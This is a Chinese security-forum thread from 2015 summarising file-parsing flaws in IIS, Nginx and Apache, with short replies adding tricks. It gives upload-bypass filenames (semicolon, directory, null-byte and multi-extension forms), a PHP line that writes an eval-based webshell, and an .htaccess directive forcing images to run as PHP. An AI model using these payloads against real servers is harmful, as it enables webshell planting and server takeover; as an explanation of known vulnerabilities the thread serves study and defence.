请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 1439|回复: 6

IIS/Apache解析漏洞总结

[复制链接]
  • TA的每日心情
    开心
    2015-11-26 12:26
  • 签到天数: 43 天

    [LV.5]常住居民I

    发表于 2015-9-6 20:08:06 | 显示全部楼层 |阅读模式

    一、IIS 5.x/6.0解析漏洞IIS 6.0解析利用方法有两种
    1.目录解析
    /xx.asp/xx.jpg
    2.文件解析
    wooyun.asp;.jpg
    第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

    例如创建目录 wooyun.asp,那么
    /wooyun.asp/1.jpg
    将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。
    第二种,在IIS6.0下,分号后面的不被解析,也就是说
    wooyun.asp;.jpg
    会被服务器看成是wooyun.asp还有IIS6.0 默认的可执行文件除了asp还包含这三种
    /wooyun.asa/wooyun.cer/wooyun.cdx
    二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的…
    在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为
    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

    三、Nginx <8.03 空字节代码执行漏洞影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
    Nginx在图片中嵌入PHP代码然后通过访问
    xxx.jpg%00.php
    来执行其中的代码

    四、Apache解析漏洞Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
    比如 wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.
    如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

    五、其他在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被windows自动消除,这样也可以getshell。
    如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
    <FilesMatch "wooyun.jpg"> SetHandler application/x-httpd-php </FilesMatch>
    然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件

    回复

    使用道具 举报

  • TA的每日心情

    14 小时前
  • 签到天数: 101 天

    [LV.6]常住居民II

    发表于 2015-9-6 20:13:24 | 显示全部楼层
    涨姿势了哇~~~
  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-9-6 20:17:14 | 显示全部楼层
    徒弟好屌啊,什么时候码这么多字了啊
  • TA的每日心情
    奋斗
    昨天 23:13
  • 签到天数: 156 天

    [LV.7]常住居民III

    发表于 2015-9-7 08:31:51 | 显示全部楼层
    师弟好叼 ,码了这么多字
  • TA的每日心情

    2016-8-12 10:41
  • 签到天数: 108 天

    [LV.6]常住居民II

    发表于 2015-9-7 09:47:37 | 显示全部楼层
    补充一个下:
    iis 7.0 7.5 解析漏洞 a.aspx.a;.a.aspx.jpg..jpg     这是一个a.aspx的木马文件名
  • TA的每日心情
    开心
    2017-2-13 14:18
  • 签到天数: 15 天

    [LV.4]偶尔看看III

    发表于 2015-11-23 21:56:58 | 显示全部楼层
    长见识了,这些好像很少能利用啊
  • TA的每日心情

    2017-1-14 23:38
  • 签到天数: 9 天

    [LV.3]偶尔看看II

    发表于 2017-1-11 14:30:48 | 显示全部楼层
    iis6.0从后往前解析...
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-2-25 23:49 , Processed in 0.479242 second(s), 31 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表